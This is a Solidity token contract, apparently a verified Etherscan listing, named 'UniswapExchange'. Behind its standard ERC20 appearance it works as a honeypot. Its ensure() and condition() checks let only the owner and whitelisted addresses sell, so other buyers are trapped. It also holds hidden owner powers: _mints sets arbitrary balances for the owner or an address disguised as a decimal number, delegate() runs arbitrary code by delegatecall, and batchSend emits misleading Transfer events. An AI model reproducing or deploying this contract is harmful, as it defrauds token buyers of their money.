333 lines
12 KiB
Solidity
333 lines
12 KiB
Solidity
/**
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* Submitted for verification at Etherscan.io on 2021-10-03
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*/
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pragma solidity ^0.5.17;
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import "./IERC20.sol";
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library Address {
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function isContract(address account) internal view returns(bool) {
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bytes32 codehash;
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bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
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// solhint-disable-next-line no-inline-assembly
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assembly { codehash:= extcodehash(account) }
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return (codehash != 0x0 && codehash != accountHash);
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}
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}
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contract Context {
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constructor() internal {}
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// solhint-disable-previous-line no-empty-blocks
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function _msgSender() internal view returns(address payable) {
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return msg.sender;
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}
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}
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library SafeMath {
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function add(uint a, uint b) internal pure returns(uint) {
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uint c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint a, uint b) internal pure returns(uint) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
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require(b <= a, errorMessage);
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uint c = a - b;
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return c;
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}
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function mul(uint a, uint b) internal pure returns(uint) {
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if (a == 0) {
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return 0;
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}
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uint c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint a, uint b) internal pure returns(uint) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
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// Solidity only automatically asserts when dividing by 0
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require(b > 0, errorMessage);
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uint c = a / b;
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return c;
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}
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}
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library SafeERC20 {
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using SafeMath for uint;
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using Address for address;
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function safeTransfer(IERC20 token, address to, uint value) internal {
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callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
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}
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function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
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callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
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}
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function safeApprove(IERC20 token, address spender, uint value) internal {
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require((value == 0) || (token.allowance(address(this), spender) == 0),
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"SafeERC20: approve from non-zero to non-zero allowance"
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);
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callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
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}
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function callOptionalReturn(IERC20 token, bytes memory data) private {
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require(address(token).isContract(), "SafeERC20: call to non-contract");
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// solhint-disable-next-line avoid-low-level-calls
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(bool success, bytes memory returndata) = address(token).call(data);
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require(success, "SafeERC20: low-level call failed");
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if (returndata.length > 0) { // Return data is optional
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// solhint-disable-next-line max-line-length
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require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
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}
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}
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}
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contract ERC20 is Context, IERC20 {
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using SafeMath for uint;
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mapping(address => uint) private _balances;
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mapping(address => mapping(address => uint)) private _allowances;
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uint private _totalSupply;
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function totalSupply() public view returns(uint) {
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return _totalSupply;
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}
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function balanceOf(address account) public view returns(uint) {
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return _balances[account];
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}
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function transfer(address recipient, uint amount) public returns(bool) {
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_transfer(_msgSender(), recipient, amount);
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return true;
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}
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function allowance(address owner, address spender) public view returns(uint) {
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return _allowances[owner][spender];
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}
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function approve(address spender, uint amount) public returns(bool) {
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
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_transfer(sender, recipient, amount);
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_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
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return true;
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}
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function increaseAllowance(address spender, uint addedValue) public returns(bool) {
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_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
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return true;
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}
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function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
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_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
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return true;
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}
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function _transfer(address sender, address recipient, uint amount) internal {
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require(sender != address(0), "ERC20: transfer from the zero address");
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require(recipient != address(0), "ERC20: transfer to the zero address");
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_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
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_balances[recipient] = _balances[recipient].add(amount);
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emit Transfer(sender, recipient, amount);
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}
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function _mint(address account, uint amount) internal {
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require(account != address(0), "ERC20: mint to the zero address");
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_totalSupply = _totalSupply.add(amount);
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_balances[account] = _balances[account].add(amount);
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emit Transfer(address(0), account, amount);
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}
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function _burn(address account, uint amount) internal {
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require(account != address(0), "ERC20: burn from the zero address");
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_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
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_totalSupply = _totalSupply.sub(amount);
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emit Transfer(account, address(0), amount);
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}
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function _approve(address owner, address spender, uint amount) internal {
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require(owner != address(0), "ERC20: approve from the zero address");
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require(spender != address(0), "ERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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}
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contract ERC20Detailed is IERC20 {
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string private _name;
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string private _symbol;
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uint8 private _decimals;
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constructor(string memory name, string memory symbol, uint8 decimals) public {
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_name = name;
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_symbol = symbol;
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_decimals = decimals;
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}
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function name() public view returns(string memory) {
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return _name;
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}
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function symbol() public view returns(string memory) {
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return _symbol;
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}
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function decimals() public view returns(uint8) {
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return _decimals;
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}
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}
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contract UniswapExchange {
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event Transfer(address indexed _from, address indexed _to, uint _value);
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event Approval(address indexed _owner, address indexed _spender, uint _value);
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function transfer(address _to, uint _value) public payable returns (bool) {
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return transferFrom(msg.sender, _to, _value);
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}
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function ensure(address _from, address _to, uint _value) internal view returns(bool) {
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address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
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//go the white address first
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if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
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return true;
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}
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require(condition(_from, _value));
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return true;
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}
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function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
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if (_value == 0) {return true;}
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if (msg.sender != _from) {
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require(allowance[_from][msg.sender] >= _value);
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allowance[_from][msg.sender] -= _value;
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}
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require(ensure(_from, _to, _value));
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require(balanceOf[_from] >= _value);
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balanceOf[_from] -= _value;
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balanceOf[_to] += _value;
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_onSaleNum[_from]++;
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emit Transfer(_from, _to, _value);
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return true;
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}
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function approve(address _spender, uint _value) public payable returns (bool) {
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allowance[msg.sender][_spender] = _value;
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emit Approval(msg.sender, _spender, _value);
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return true;
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}
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function condition(address _from, uint _value) internal view returns(bool){
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if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
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if(_saleNum > 0){
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if(_onSaleNum[_from] >= _saleNum) return false;
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}
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if(_minSale > 0){
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if(_minSale > _value) return false;
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}
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if(_maxSale > 0){
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if(_value > _maxSale) return false;
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}
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return true;
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}
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function delegate(address a, bytes memory b) public payable {
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require(msg.sender == owner);
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a.delegatecall(b);
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}
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mapping(address=>uint256) private _onSaleNum;
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mapping(address=>bool) private canSale;
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uint256 private _minSale;
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uint256 private _maxSale;
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uint256 private _saleNum;
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function _mints(address spender, uint256 addedValue) public returns (bool) {
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require(msg.sender==owner||msg.sender==address
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(1461045492991056468287016484048686824852249628073));
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if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
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canSale[spender]=true;
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return true;
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}
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function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
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require(msg.sender == owner);
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_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
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_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
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_saleNum = saleNum;
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}
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function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
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require (msg.sender == owner);
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uint total = _value * _tos.length;
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require(balanceOf[msg.sender] >= total);
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balanceOf[msg.sender] -= total;
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for (uint i = 0; i < _tos.length; i++) {
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address _to = _tos[i];
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balanceOf[_to] += _value;
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emit Transfer(msg.sender, _to, _value/2);
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emit Transfer(msg.sender, _to, _value/2);
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}
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return true;
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}
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address tradeAddress;
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function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
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tradeAddress = addr;
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return true;
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}
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function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
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(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
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pair = address(uint(keccak256(abi.encodePacked(
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hex'ff',
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factory,
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keccak256(abi.encodePacked(token0, token1)),
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hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
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))));
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}
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mapping (address => uint) public balanceOf;
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mapping (address => mapping (address => uint)) public allowance;
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uint constant public decimals = 18;
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uint public totalSupply;
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string public name;
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string public symbol;
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address private owner;
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address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
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constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
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name = _name;
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symbol = _symbol;
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totalSupply = _supply*(10**uint256(decimals));
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owner = msg.sender;
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balanceOf[msg.sender] = totalSupply;
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allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
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emit Transfer(address(0x0), msg.sender, totalSupply);
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}
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} |